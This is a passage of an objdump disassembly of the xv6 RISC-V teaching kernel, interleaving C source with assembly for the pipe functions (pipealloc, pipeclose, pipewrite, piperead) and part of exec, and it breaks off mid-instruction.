s4,a1 struct pipe *pi; pi = 0; *f0 = *f1 = 0; 80004e9a: 0005b023 sd zero,0(a1) 80004e9e: 00053023 sd zero,0(a0) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 80004ea2: 00000097 auipc ra,0x0 80004ea6: bf8080e7 jalr -1032(ra) # 80004a9a <filealloc> 80004eaa: e088 sd a0,0(s1) 80004eac: c551 beqz a0,80004f38 <pipealloc+0xb2> 80004eae: 00000097 auipc ra,0x0 80004eb2: bec080e7 jalr -1044(ra) # 80004a9a <filealloc> 80004eb6: 00aa3023 sd a0,0(s4) 80004eba: c92d beqz a0,80004f2c <pipealloc+0xa6> goto bad; if((pi = (struct pipe*)kalloc()) == 0) 80004ebc: ffffc097 auipc ra,0xffffc 80004ec0: c16080e7 jalr -1002(ra) # 80000ad2 <kalloc> 80004ec4: 892a mv s2,a0 80004ec6: c125 beqz a0,80004f26 <pipealloc+0xa0> goto bad; pi->readopen = 1; 80004ec8: 4985 li s3,1 80004eca: 23352023 sw s3,544(a0) pi->writeopen = 1; 80004ece: 23352223 sw s3,548(a0) pi->nwrite = 0; 80004ed2: 20052e23 sw zero,540(a0) pi->nread = 0; 80004ed6: 20052c23 sw zero,536(a0) initlock(&pi->lock, "pipe"); 80004eda: 00003597 auipc a1,0x3 80004ede: 69e58593 addi a1,a1,1694 # 80008578 <states.0+0x1b8> 80004ee2: ffffc097 auipc ra,0xffffc 80004ee6: c50080e7 jalr -944(ra) # 80000b32 <initlock> (*f0)->type = FD_PIPE; 80004eea: 609c ld a5,0(s1) 80004eec: 0137a023 sw s3,0(a5) (*f0)->readable = 1; 80004ef0: 609c ld a5,0(s1) 80004ef2: 01378423 sb s3,8(a5) (*f0)->writable = 0; 80004ef6: 609c ld a5,0(s1) 80004ef8: 000784a3 sb zero,9(a5) (*f0)->pipe = pi; 80004efc: 609c ld a5,0(s1) 80004efe: 0127b823 sd s2,16(a5) (*f1)->type = FD_PIPE; 80004f02: 000a3783 ld a5,0(s4) 80004f06: 0137a023 sw s3,0(a5) (*f1)->readable = 0; 80004f0a: 000a3783 ld a5,0(s4) 80004f0e: 00078423 sb zero,8(a5) (*f1)->writable = 1; 80004f12: 000a3783 ld a5,0(s4) 80004f16: 013784a3 sb s3,9(a5) (*f1)->pipe = pi; 80004f1a: 000a3783 ld a5,0(s4) 80004f1e: 0127b823 sd s2,16(a5) return 0; 80004f22: 4501 li a0,0 80004f24: a025 j 80004f4c <pipealloc+0xc6> bad: if(pi) kfree((char*)pi); if(*f0) 80004f26: 6088 ld a0,0(s1) 80004f28: e501 bnez a0,80004f30 <pipealloc+0xaa> 80004f2a: a039 j 80004f38 <pipealloc+0xb2> 80004f2c: 6088 ld a0,0(s1) 80004f2e: c51d beqz a0,80004f5c <pipealloc+0xd6> fileclose(*f0); 80004f30: 00000097 auipc ra,0x0 80004f34: c26080e7 jalr -986(ra) # 80004b56 <fileclose> if(*f1) 80004f38: 000a3783 ld a5,0(s4) fileclose(*f1); return -1; 80004f3c: 557d li a0,-1 if(*f1) 80004f3e: c799 beqz a5,80004f4c <pipealloc+0xc6> fileclose(*f1); 80004f40: 853e mv a0,a5 80004f42: 00000097 auipc ra,0x0 80004f46: c14080e7 jalr -1004(ra) # 80004b56 <fileclose> return -1; 80004f4a: 557d li a0,-1 } 80004f4c: 70a2 ld ra,40(sp) 80004f4e: 7402 ld s0,32(sp) 80004f50: 64e2 ld s1,24(sp) 80004f52: 6942 ld s2,16(sp) 80004f54: 69a2 ld s3,8(sp) 80004f56: 6a02 ld s4,0(sp) 80004f58: 6145 addi sp,sp,48 80004f5a: 8082 ret return -1; 80004f5c: 557d li a0,-1 80004f5e: b7fd j 80004f4c <pipealloc+0xc6> 0000000080004f60 <pipeclose>: void pipeclose(struct pipe *pi, int writable) { 80004f60: 1101 addi sp,sp,-32 80004f62: ec06 sd ra,24(sp) 80004f64: e822 sd s0,16(sp) 80004f66: e426 sd s1,8(sp) 80004f68: e04a sd s2,0(sp) 80004f6a: 1000 addi s0,sp,32 80004f6c: 84aa mv s1,a0 80004f6e: 892e mv s2,a1 acquire(&pi->lock); 80004f70: ffffc097 auipc ra,0xffffc 80004f74: c52080e7 jalr -942(ra) # 80000bc2 <acquire> if(writable){ 80004f78: 02090d63 beqz s2,80004fb2 <pipeclose+0x52> pi->writeopen = 0; 80004f7c: 2204a223 sw zero,548(s1) wakeup(&pi->nread); 80004f80: 21848513 addi a0,s1,536 80004f84: ffffd097 auipc ra,0xffffd 80004f88: 3ce080e7 jalr 974(ra) # 80002352 <wakeup> } else { pi->readopen = 0; wakeup(&pi->nwrite); } if(pi->readopen == 0 && pi->writeopen == 0){ 80004f8c: 2204b783 ld a5,544(s1) 80004f90: eb95 bnez a5,80004fc4 <pipeclose+0x64> release(&pi->lock); 80004f92: 8526 mv a0,s1 80004f94: ffffc097 auipc ra,0xffffc 80004f98: ce2080e7 jalr -798(ra) # 80000c76 <release> kfree((char*)pi); 80004f9c: 8526 mv a0,s1 80004f9e: ffffc097 auipc ra,0xffffc 80004fa2: a38080e7 jalr -1480(ra) # 800009d6 <kfree> } else release(&pi->lock); } 80004fa6: 60e2 ld ra,24(sp) 80004fa8: 6442 ld s0,16(sp) 80004faa: 64a2 ld s1,8(sp) 80004fac: 6902 ld s2,0(sp) 80004fae: 6105 addi sp,sp,32 80004fb0: 8082 ret pi->readopen = 0; 80004fb2: 2204a023 sw zero,544(s1) wakeup(&pi->nwrite); 80004fb6: 21c48513 addi a0,s1,540 80004fba: ffffd097 auipc ra,0xffffd 80004fbe: 398080e7 jalr 920(ra) # 80002352 <wakeup> 80004fc2: b7e9 j 80004f8c <pipeclose+0x2c> release(&pi->lock); 80004fc4: 8526 mv a0,s1 80004fc6: ffffc097 auipc ra,0xffffc 80004fca: cb0080e7 jalr -848(ra) # 80000c76 <release> } 80004fce: bfe1 j 80004fa6 <pipeclose+0x46> 0000000080004fd0 <pipewrite>: int pipewrite(struct pipe *pi, uint64 addr, int n) { 80004fd0: 711d addi sp,sp,-96 80004fd2: ec86 sd ra,88(sp) 80004fd4: e8a2 sd s0,80(sp) 80004fd6: e4a6 sd s1,72(sp) 80004fd8: e0ca sd s2,64(sp) 80004fda: fc4e sd s3,56(sp) 80004fdc: f852 sd s4,48(sp) 80004fde: f456 sd s5,40(sp) 80004fe0: f05a sd s6,32(sp) 80004fe2: ec5e sd s7,24(sp) 80004fe4: e862 sd s8,16(sp) 80004fe6: 1080 addi s0,sp,96 80004fe8: 84aa mv s1,a0 80004fea: 8aae mv s5,a1 80004fec: 8a32 mv s4,a2 int i = 0; struct proc *pr = myproc(); 80004fee: ffffd097 auipc ra,0xffffd 80004ff2: 9a8080e7 jalr -1624(ra) # 80001996 <myproc> 80004ff6: 89aa mv s3,a0 acquire(&pi->lock); 80004ff8: 8526 mv a0,s1 80004ffa: ffffc097 auipc ra,0xffffc 80004ffe: bc8080e7 jalr -1080(ra) # 80000bc2 <acquire> while(i < n){ 80005002: 0b405363 blez s4,800050a8 <pipewrite+0xd8> int i = 0; 80005006: 4901 li s2,0 if(pi->nwrite == pi->nread + PIPESIZE){ //DOC: pipewrite-full wakeup(&pi->nread); sleep(&pi->nwrite, &pi->lock); } else { char ch; if(copyin(pr->pagetable, &ch, addr + i, 1) == -1) 80005008: 5b7d li s6,-1 wakeup(&pi->nread); 8000500a: 21848c13 addi s8,s1,536 sleep(&pi->nwrite, &pi->lock); 8000500e: 21c48b93 addi s7,s1,540 80005012: a089 j 80005054 <pipewrite+0x84> release(&pi->lock); 80005014: 8526 mv a0,s1 80005016: ffffc097 auipc ra,0xffffc 8000501a: c60080e7 jalr -928(ra) # 80000c76 <release> return -1; 8000501e: 597d li s2,-1 } wakeup(&pi->nread); release(&pi->lock); return i; } 80005020: 854a mv a0,s2 80005022: 60e6 ld ra,88(sp) 80005024: 6446 ld s0,80(sp) 80005026: 64a6 ld s1,72(sp) 80005028: 6906 ld s2,64(sp) 8000502a: 79e2 ld s3,56(sp) 8000502c: 7a42 ld s4,48(sp) 8000502e: 7aa2 ld s5,40(sp) 80005030: 7b02 ld s6,32(sp) 80005032: 6be2 ld s7,24(sp) 80005034: 6c42 ld s8,16(sp) 80005036: 6125 addi sp,sp,96 80005038: 8082 ret wakeup(&pi->nread); 8000503a: 8562 mv a0,s8 8000503c: ffffd097 auipc ra,0xffffd 80005040: 316080e7 jalr 790(ra) # 80002352 <wakeup> sleep(&pi->nwrite, &pi->lock); 80005044: 85a6 mv a1,s1 80005046: 855e mv a0,s7 80005048: ffffd097 auipc ra,0xffffd 8000504c: 17e080e7 jalr 382(ra) # 800021c6 <sleep> while(i < n){ 80005050: 05495d63 bge s2,s4,800050aa <pipewrite+0xda> if(pi->readopen == 0 || pr->killed){ 80005054: 2204a783 lw a5,544(s1) 80005058: dfd5 beqz a5,80005014 <pipewrite+0x44> 8000505a: 0289a783 lw a5,40(s3) 8000505e: fbdd bnez a5,80005014 <pipewrite+0x44> if(pi->nwrite == pi->nread + PIPESIZE){ //DOC: pipewrite-full 80005060: 2184a783 lw a5,536(s1) 80005064: 21c4a703 lw a4,540(s1) 80005068: 2007879b addiw a5,a5,512 8000506c: fcf707e3 beq a4,a5,8000503a <pipewrite+0x6a> if(copyin(pr->pagetable, &ch, addr + i, 1) == -1) 80005070: 4685 li a3,1 80005072: 01590633 add a2,s2,s5 80005076: faf40593 addi a1,s0,-81 8000507a: 0709b503 ld a0,112(s3) 8000507e: ffffc097 auipc ra,0xffffc 80005082: 64c080e7 jalr 1612(ra) # 800016ca <copyin> 80005086: 03650263 beq a0,s6,800050aa <pipewrite+0xda> pi->data[pi->nwrite++ % PIPESIZE] = ch; 8000508a: 21c4a783 lw a5,540(s1) 8000508e: 0017871b addiw a4,a5,1 80005092: 20e4ae23 sw a4,540(s1) 80005096: 1ff7f793 andi a5,a5,511 8000509a: 97a6 add a5,a5,s1 8000509c: faf44703 lbu a4,-81(s0) 800050a0: 00e78c23 sb a4,24(a5) i++; 800050a4: 2905 addiw s2,s2,1 800050a6: b76d j 80005050 <pipewrite+0x80> int i = 0; 800050a8: 4901 li s2,0 wakeup(&pi->nread); 800050aa: 21848513 addi a0,s1,536 800050ae: ffffd097 auipc ra,0xffffd 800050b2: 2a4080e7 jalr 676(ra) # 80002352 <wakeup> release(&pi->lock); 800050b6: 8526 mv a0,s1 800050b8: ffffc097 auipc ra,0xffffc 800050bc: bbe080e7 jalr -1090(ra) # 80000c76 <release> return i; 800050c0: b785 j 80005020 <pipewrite+0x50> 00000000800050c2 <piperead>: int piperead(struct pipe *pi, uint64 addr, int n) { 800050c2: 715d addi sp,sp,-80 800050c4: e486 sd ra,72(sp) 800050c6: e0a2 sd s0,64(sp) 800050c8: fc26 sd s1,56(sp) 800050ca: f84a sd s2,48(sp) 800050cc: f44e sd s3,40(sp) 800050ce: f052 sd s4,32(sp) 800050d0: ec56 sd s5,24(sp) 800050d2: e85a sd s6,16(sp) 800050d4: 0880 addi s0,sp,80 800050d6: 84aa mv s1,a0 800050d8: 892e mv s2,a1 800050da: 8ab2 mv s5,a2 int i; struct proc *pr = myproc(); 800050dc: ffffd097 auipc ra,0xffffd 800050e0: 8ba080e7 jalr -1862(ra) # 80001996 <myproc> 800050e4: 8a2a mv s4,a0 char ch; acquire(&pi->lock); 800050e6: 8526 mv a0,s1 800050e8: ffffc097 auipc ra,0xffffc 800050ec: ada080e7 jalr -1318(ra) # 80000bc2 <acquire> while(pi->nread == pi->nwrite && pi->writeopen){ //DOC: pipe-empty 800050f0: 2184a703 lw a4,536(s1) 800050f4: 21c4a783 lw a5,540(s1) if(pr->killed){ release(&pi->lock); return -1; } sleep(&pi->nread, &pi->lock); //DOC: piperead-sleep 800050f8: 21848993 addi s3,s1,536 while(pi->nread == pi->nwrite && pi->writeopen){ //DOC: pipe-empty 800050fc: 02f71463 bne a4,a5,80005124 <piperead+0x62> 80005100: 2244a783 lw a5,548(s1) 80005104: c385 beqz a5,80005124 <piperead+0x62> if(pr->killed){ 80005106: 028a2783 lw a5,40(s4) 8000510a: ebc1 bnez a5,8000519a <piperead+0xd8> sleep(&pi->nread, &pi->lock); //DOC: piperead-sleep 8000510c: 85a6 mv a1,s1 8000510e: 854e mv a0,s3 80005110: ffffd097 auipc ra,0xffffd 80005114: 0b6080e7 jalr 182(ra) # 800021c6 <sleep> while(pi->nread == pi->nwrite && pi->writeopen){ //DOC: pipe-empty 80005118: 2184a703 lw a4,536(s1) 8000511c: 21c4a783 lw a5,540(s1) 80005120: fef700e3 beq a4,a5,80005100 <piperead+0x3e> } for(i = 0; i < n; i++){ //DOC: piperead-copy 80005124: 4981 li s3,0 if(pi->nread == pi->nwrite) break; ch = pi->data[pi->nread++ % PIPESIZE]; if(copyout(pr->pagetable, addr + i, &ch, 1) == -1) 80005126: 5b7d li s6,-1 for(i = 0; i < n; i++){ //DOC: piperead-copy 80005128: 05505363 blez s5,8000516e <piperead+0xac> if(pi->nread == pi->nwrite) 8000512c: 2184a783 lw a5,536(s1) 80005130: 21c4a703 lw a4,540(s1) 80005134: 02f70d63 beq a4,a5,8000516e <piperead+0xac> ch = pi->data[pi->nread++ % PIPESIZE]; 80005138: 0017871b addiw a4,a5,1 8000513c: 20e4ac23 sw a4,536(s1) 80005140: 1ff7f793 andi a5,a5,511 80005144: 97a6 add a5,a5,s1 80005146: 0187c783 lbu a5,24(a5) 8000514a: faf40fa3 sb a5,-65(s0) if(copyout(pr->pagetable, addr + i, &ch, 1) == -1) 8000514e: 4685 li a3,1 80005150: fbf40613 addi a2,s0,-65 80005154: 85ca mv a1,s2 80005156: 070a3503 ld a0,112(s4) 8000515a: ffffc097 auipc ra,0xffffc 8000515e: 4e4080e7 jalr 1252(ra) # 8000163e <copyout> 80005162: 01650663 beq a0,s6,8000516e <piperead+0xac> for(i = 0; i < n; i++){ //DOC: piperead-copy 80005166: 2985 addiw s3,s3,1 80005168: 0905 addi s2,s2,1 8000516a: fd3a91e3 bne s5,s3,8000512c <piperead+0x6a> break; } wakeup(&pi->nwrite); //DOC: piperead-wakeup 8000516e: 21c48513 addi a0,s1,540 80005172: ffffd097 auipc ra,0xffffd 80005176: 1e0080e7 jalr 480(ra) # 80002352 <wakeup> release(&pi->lock); 8000517a: 8526 mv a0,s1 8000517c: ffffc097 auipc ra,0xffffc 80005180: afa080e7 jalr -1286(ra) # 80000c76 <release> return i; } 80005184: 854e mv a0,s3 80005186: 60a6 ld ra,72(sp) 80005188: 6406 ld s0,64(sp) 8000518a: 74e2 ld s1,56(sp) 8000518c: 7942 ld s2,48(sp) 8000518e: 79a2 ld s3,40(sp) 80005190: 7a02 ld s4,32(sp) 80005192: 6ae2 ld s5,24(sp) 80005194: 6b42 ld s6,16(sp) 80005196: 6161 addi sp,sp,80 80005198: 8082 ret release(&pi->lock); 8000519a: 8526 mv a0,s1 8000519c: ffffc097 auipc ra,0xffffc 800051a0: ada080e7 jalr -1318(ra) # 80000c76 <release> return -1; 800051a4: 59fd li s3,-1 800051a6: bff9 j 80005184 <piperead+0xc2> 00000000800051a8 <exec>: static int loadseg(pde_t *pgdir, uint64 addr, struct inode *ip, uint offset, uint sz); int exec(char *path, char **argv) { 800051a8: de010113 addi sp,sp,-544 800051ac: 20113c23 sd ra,536(sp) 800051b0: 20813823 sd s0,528(sp) 800051b4: 20913423 sd s1,520(sp) 800051b8: 21213023 sd s2,512(sp) 800051bc: ffce sd s3,504(sp) 800051be: fbd2 sd s4,496(sp) 800051c0: f7d6 sd s5,488(sp) 800051c2: f3da sd s6,480(sp) 800051c4: efde sd s7,472(sp) 800051c6: ebe2 sd s8,464(sp) 800051c8: e7e6 sd s9,456(sp) 800051ca: e3ea sd s10,448(sp) 800051cc: ff6e sd s11,440(sp) 800051ce: 1400 addi s0,sp,544 800051d0: 892a mv s2,a0 800051d2: dea43423 sd a0,-536(s0) 800051d6: deb43823 sd a1,-528(s0) uint64 argc, sz = 0, sp, ustack[MAXARG+1], stackbase; struct elfhdr elf; struct inode *ip; struct proghdr ph; pagetable_t pagetable = 0, oldpagetable; struct proc *p = myproc(); 800051da: ffffc097 auipc ra,0xffffc 800051de: 7bc080e7 jalr 1980(ra) # 80001996 <myproc> 800051e2: 84aa mv s1,a0 begin_op(); 800051e4: fffff097 auipc ra,0xfffff 800051e8: 4a6080e7 jalr 1190(ra) # 8000468a <begin_op> if((ip = namei(path)) == 0){ 800051ec: 854a mv a0,s2 800051ee: fffff097 auipc ra,0xfffff 800051f2: 27c080e7 jalr 636(ra) # 8000446a <namei> 800051f6: c93d beqz a0,8000526c <exec+0xc4> 800051f8: 8aaa mv s5,a0 end_op(); return -1; } ilock(ip); 800051fa: fffff097 auipc ra,0xfffff 800051fe: aba080e7 jalr -1350(ra) # 80003cb4 <ilock> // Check ELF header if(readi(ip, 0, (uint64)&elf, 0, sizeof(elf)) != sizeof(elf)) 80005202: 04000713 li a4,64 80005206: 4681 li a3,0 80005208: e4840613 addi a2,s0,-440 8000520c: 4581 li a1,0 8000520e: 8556 mv a0,s5 80005210: fffff097 auipc ra,0xfffff 80005214: d58080e7 jalr -680(ra) # 80003f68 <readi> 80005218: 04000793 li a5,64 8000521c: 00f51a63 bne a0,a5,80005230 <exec+0x88> goto bad; if(elf.magic != ELF_MAGIC) 80005220: e4842703 lw a4,-440(s0) 80005224: 464c47b7 lui a5,0x464c4 80005228: 57f78793 addi a5,a5,1407 # 464c457f <_entry-0x39b3ba81> 8000522c: 04f70663 beq a4,a5,80005278 <exec+0xd0> bad: if(pagetable) proc_freepagetable(pagetable, sz); if(ip){ iunlockput(ip); 80005230: 8556 mv a0,s5 80005232: fffff097 auipc ra,0xfffff 80005236: ce4080e7 jalr -796(ra) # 80003f16 <iunlockput> end_op(); 8000523a: fffff097 auipc ra,0xfffff 8000523e: 4d0080e7 jalr 1232(ra) # 8000470a <end_op> } return -1; 80005242: 557d li a0,-1 } 80005244: 21813083 ld ra,536(sp) 80005248: 21013403 ld s0,528(sp) 8000524c: 20813483 ld s1,520(sp) 80005250: 20013903 ld s2,512(sp) 80005254: 79fe ld s3,504(sp) 80005256: 7a5e ld s4,496(sp) 80005258: 7abe ld s5,488(sp) 8000525a: 7b1e ld s6,480(sp) 8000525c: 6bfe ld s7,472(sp) 8000525e: 6c5e ld s8,464(sp) 80005260: 6cbe ld s9,456(sp) 80005262: 6d1e ld s10,448(sp) 80005264: 7dfa ld s11,440(sp) 80005266: 22010113 addi sp,sp,544 8000526a: 8082 ret end_op(); 8000526c: fffff097 auipc ra,0xfffff 80005270: 49e080e7 jalr 1182(ra) # 8000470a <end_op> return -1; 80005274: 557d li a0,-1 80005276: b7f9 j 80005244 <exec+0x9c> if((pagetable = proc_pagetable(p)) == 0) 80005278: 8526 mv a0,s1 8000527a: ffffc097 auipc ra,0xffffc 8000527e: 7e0080e7 jalr 2016(ra) # 80001a5a <proc_pagetable> 80005282: 8b2a mv s6,a0 80005284: d555 beqz a0,80005230 <exec+0x88> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80005286: e6842783 lw a5,-408(s0) 8000528a: e8045703 lhu a4,-384(s0) 8000528e: c735 beqz a4,800052fa <exec+0x152> uint64 argc, sz = 0, sp, ustack[MAXARG+1], stackbase; 80005290: 4481 li s1,0 for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80005292: e0043423 sd zero,-504(s0) if(ph.vaddr % PGSIZE != 0) 80005296: 6a05 lui s4,0x1 80005298: fffa0713 addi a4,s4,-1 # fff <_entry-0x7ffff001> 8000529c: dee43023 sd a4,-544(s0) uint64 pa; if((va % PGSIZE) != 0) panic("loadseg: va must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ 800052a0: 6d85 lui s11,0x1 800052a2: 7d7d lui s10,0xfffff 800052a4: ac1d j 800054da <exec+0x332> pa = walkaddr(pagetable, va + i); if(pa == 0) panic("loadseg: address should exist"); 800052a6: 00003517 auipc a0,0x3 800052aa: 65250513 addi a0,a0,1618 # 800088f8 <syscalls+0x2c8> 800052ae: ffffb097 auipc ra,0xffffb 800052b2: 27c080e7 jalr 636(ra) # 8000052a <panic> if(sz - i < PGSIZE) n = sz - i; else n = PGSIZE; if(readi(ip, 0, (uint64)pa, offset+i, n) != n) 800052b6: 874a mv a4,s2 800052b8: 009c86bb addw a3,s9,s1 800052bc: 4581 li a1,0 800052be: 8556 mv a0,s5 800052c0: fffff097 auipc ra,0xfffff 800052c4: ca8080e7 jalr -856(ra) # 80003f68 <readi> 800052c8: 2501 sext.w a0,a0 800052ca: 1aa91863 bne s2,a0,8000547a <exec+0x2d2> for(i = 0; i < sz; i += PGSIZE){ 800052ce: 009d84bb addw s1,s11,s1 800052d2: 013d09bb addw s3,s10,s3 800052d6: 1f74f263 bgeu s1,s7,800054ba <exec+0x312> pa = walkaddr(pagetable, va + i); 800052da: 02049593 slli a1,s1,0x20 800052de: 9181 srli a1,a1,0x20 800052e0: 95e2 add a1,a1,s8 800052e2: 855a mv a0,s6 800052e4: ffffc097 auipc ra,0xffffc 800052e8: d68080e7 jalr -664(ra) # 8000104c <walkaddr> 800052ec: 862a mv a2,a0 if(pa == 0) 800052ee: dd45 beqz a0,800052a6 <exec+0xfe> n = PGSIZE; 800052f0: 8952 mv s2,s4 if(sz - i < PGSIZE) 800052f2: fd49f2e3 bgeu s3,s4,800052b6 <exec+0x10e> n = sz - i; 800052f6: 894e mv s2,s3 800052f8: bf7d j 800052b6 <exec+0x10e> uint64 argc, sz = 0, sp, ustack[MAXARG+1], stackbase; 800052fa: 4481 li s1,0 iunlockput(ip); 800052fc: 8556 mv a0,s5 800052fe: fffff097 auipc ra,0xfffff 80005302: c18080e7 jalr -1000(ra) # 80003f16 <iunlockput> end_op(); 80005306: fffff097 auipc ra,0xfffff 8000530a: 404080e7 jalr 1028(ra) # 8000470a <end_op> p = myproc(); 8000530e: ffffc097 auipc ra,0xffffc 80005312: 688080e7 jalr 1672(ra) # 80001996 <myproc> 80005316: 8baa mv s7,a0 uint64 oldsz = p->sz; 80005318: 06853d03 ld s10,104(a0) sz = PGROUNDUP(sz); 8000531c: 6785 lui a5,0x1 8000531e: 17fd addi a5,a5,-1 80005320: 94be add s1,s1,a5 80005322: 77fd lui a5,0xfffff 80005324: 8fe5 and a5,a5,s1 80005326: def43c23 sd a5,-520(s0) if((sz1 = uvmalloc(pagetable, sz, sz + 2*PGSIZE)) == 0) 8000532a: 6609 lui a2,0x2 8000532c: 963e add a2,a2,a5 8000532e: 85be mv a1,a5 80005330: 855a mv a0,s6 80005332: ffffc097 auipc ra,0xffffc 80005336: 0bc080e7 jalr 188(ra) # 800013ee <uvmalloc> 8000533a: 8c2a mv s8,a0 ip = 0; 8000533c: 4a81 li s5,0 if((sz1 = uvmalloc(pagetable, sz, sz + 2*PGSIZE)) == 0) 8000533e: 12050e63 beqz a0,8000547a <exec+0x2d2> uvmclear(pagetable, sz-2*PGSIZE); 80005342: 75f9 lui a1,0xffffe 80005344: 95aa add a1,a1,a0 80005346: 855a mv a0,s6 80005348: ffffc097 auipc ra,0xffffc 8000534c: 2c4080e7 jalr 708(ra) # 8000160c <uvmclear> stackbase = sp - PGSIZE; 80005350: 7afd lui s5,0xfffff 80005352: 9ae2 add s5,s5,s8 for(argc = 0; argv[argc]; argc++) { 80005354: df043783 ld a5,-528(s0) 80005358: 6388 ld a0,0(a5) 8000535a: c925 beqz a0,800053ca <exec+0x222> 8000535c: e8840993 addi s3,s0,-376 80005360: f8840c93 addi s9,s0,-120 sp = sz; 80005364: 8962 mv s2,s8 for(argc = 0; argv[argc]; argc++) { 80005366: 4481 li s1,0 sp -= strlen(argv[argc]) + 1; 80005368: ffffc097 auipc ra,0xffffc 8000536c: ada080e7 jalr -1318(ra) # 80000e42 <strlen> 80005370: 0015079b addiw a5,a0,1 80005374: 40f90933 sub s2,s2,a5 sp -= sp % 16; // riscv sp must be 16-byte aligned 80005378: ff097913 andi s2,s2,-16 if(sp < stackbase) 8000537c: 13596363 bltu s2,s5,800054a2 <exec+0x2fa> if(copyout(pagetable, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80005380: df043d83 ld s11,-528(s0) 80005384: 000dba03 ld s4,0(s11) # 1000 <_entry-0x7ffff000> 80005388: 8552 mv a0,s4 8000538a: ffffc097 auipc ra,0xffffc 8000538e: ab8080e7 jalr -1352(ra) # 80000e42 <strlen> 80005392: 0015069b addiw a3,a0,1 80005396: 8652 mv a2,s4 80005398: 85ca mv a1,s2 8000539a: 855a mv a0,s6 8000539c: ffffc097 auipc ra,0xffffc 800053a0: 2a2080e7 jalr 674(ra) # 8000163e <copyout> 800053a4: 10054363 bltz a0,800054aa <exec+0x302> ustack[argc] = sp; 800053a8: 0129b023 sd s2,0(s3) for(argc = 0; argv[argc]; argc++) { 800053ac: 0485 addi s1,s1,1 800053ae: 008d8793 addi a5,s11,8 800053b2: def43823 sd a5,-528(s0) 800053b6: 008db503 ld a0,8(s11) 800053ba: c911 beqz a0,800053ce <exec+0x226> if(argc >= MAXARG) 800053bc: 09a1 addi s3,s3,8 800053be: fb3c95e3 bne s9,s3,80005368 <exec+0x1c0> sz = sz1; 800053c2: df843c23 sd s8,-520(s0) ip = 0; 800053c6: 4a81 li s5,0 800053c8: a84d j 8000547a <exec+0x2d2> sp = sz; 800053ca: 8962 mv s2,s8 for(argc = 0; argv[argc]; argc++) { 800053cc: 4481 li s1,0 ustack[argc] = 0; 800053ce: 00349793 slli a5,s1,0x3 800053d2: f9040713 addi a4,s0,-112 800053d6: 97ba add a5,a5,a4 800053d8: ee07bc23 sd zero,-264(a5) # ffffffffffffeef8 <end+0xffffffff7ffd8ef8> sp -= (argc+1) * sizeof(uint64); 800053dc: 00148693 addi a3,s1,1 800053e0: 068e slli a3,a3,0x3 800053e2: 40d90933 sub s2,s2,a3 sp -= sp % 16; 800053e6: ff097913 andi s2,s2,-16 if(sp < stackbase) 800053ea: 01597663 bgeu s2,s5,800053f6 <exec+0x24e> sz = sz1; 800053ee: df843c23 sd s8,-520(s0) ip = 0; 800053f2: 4a81 li s5,0 800053f4: a059 j 8000547a <exec+0x2d2> if(copyout(pagetable, sp, (char *)ustack, (argc+1)*sizeof(uint64)) < 0) 800053f6: e8840613 addi a2,s0,-376 800053fa: 85ca mv a1,s2 800053fc: 855a mv a0,s6 800053fe: ffffc097 auipc ra,0xffffc 80005402: 240080e7 jalr 576(ra) # 8000163e <copyout> 80005406: 0a054663 bltz a0,800054b2 <exec+0x30a> p->trapframe->a1 = sp; 8000540a: 078bb783 ld a5,120(s7) # 1078 <_entry-0x7fffef88> 8000540e: 0727bc23 sd s2,120(a5) for(last=s=path; *s; s++) 80005412: de843783 ld a5,-536(s0) 80005416: 0007c703 lbu a4,0(a5) 8000541a: cf11 beqz a4,80005436 <exec+0x28e> 8000541c: 0785 addi a5,a5,1 if(*s == '/') 8000541e: 02f00693 li a3,47 80005422: a039 j 80005430 <exec+0x288> last = s+1; 80005424: def43423 sd a5,-536(s0) for(last=s=path; *s; s++) 80005428: 0785 addi a5,a5,1 8000542a: fff7c703 lbu a4,-1(a5) 8000542e: c701 beqz a4,80005436 <exec+0x28e> if(*s == '/') 80005430: fed71ce3 bne a4,a3,80005428 <exec+0x280> 80005434: bfc5 j 80005424 <exec+0x27c> safestrcpy(p->name, last, sizeof(p->name)); 80005436: 4641 li a2,16 80005438: de843583 ld a1,-536(s0) 8000543c: 178b8513 addi a0,s7,376 80005440: ffffc097 auipc ra,0xffffc 80005444: 9d0080e7 jalr -1584(ra) # 80000e10 <safestrcpy> oldpagetable = p->pagetable; 80005448: 070bb503 ld a0,112(s7) p->pagetable = pagetable; 8000544c: 076bb823 sd s6,112(s7) p->sz = sz; 80005450: 078bb423 sd s8,104(s7) p->trapframe->epc = elf.entry; // initial program counter = main 80005454: 078bb783 ld a5,120(s7) 80005458: e6043703 ld a4,-416(s0) 8000545c: ef98 sd a4,24(a5) p->trapframe->sp = sp; // initial stack pointer 8000545e: 078bb783 ld a5,120(s7) 80005462: 0327b823 sd s2,48(a5) proc_freepagetable(oldpagetable, oldsz); 80005466: 85ea mv a1,s10 80005468: ffffc097 auipc ra,0xffffc 8000546c: 68e080e7 jalr 1678(ra) # 80001af6 <proc_freepagetable> return argc; // this ends up in a0, the first argument to main(argc, argv) 80005470: 0004851b sext.w a0,s1 80005474: bbc1 j 80005244 <exec+0x9c> 80005476: de943c23 sd s1,-520(s0) proc_freepagetable(pagetable, sz); 8000547a: df843583 ld a1,-520(s0) 8000547e: 855a mv a0,s6 80005480: ffffc097 auipc ra,0xffffc 80005484: 676080e7 jalr 1654(ra) # 80001af6 <proc_freepagetable> if(ip){ 80005488: da0a94e3 bnez s5,80005230 <exec+0x88> return -1; 8000548c: 557d li a0,-1 8000548e: bb5d j 80005244 <exec+0x9c> 80005490: de943c23 sd s1,-520(s0) 80005494: b7dd j 8000547a <exec+0x2d2> 80005496: de943c23 sd s1,-520(s0) 8000549a: b7c5 j 8000547a <exec+0x2d2> 8000549c: de943c23 sd s1,-520(s0) 800054a0: bfe9 j 8000547a <exec+0x2d2> sz = sz1; 800054a2: df843c23 sd s8,-520(s0) ip = 0; 800054a6: 4a81 li s5,0 800054a8: bfc9 j 8000547a <exec+0x2d2> sz = sz1; 800054aa: df843c23 sd s8,-520(s0) ip = 0; 800054ae: 4a81 li s5,0 800054b0: b7e9 j 8000547a <exec+0x2d2> sz = sz1; 800054b2: df843c23 sd s8,-520(s0) ip = 0; 800054b6: 4a81 li s5,0 800054b8: b7c9 j 8000547a <exec+0x2d2> if((sz1 = uvmalloc(pagetable, sz, ph.vaddr + ph.memsz)) == 0) 800054ba: df843483 ld 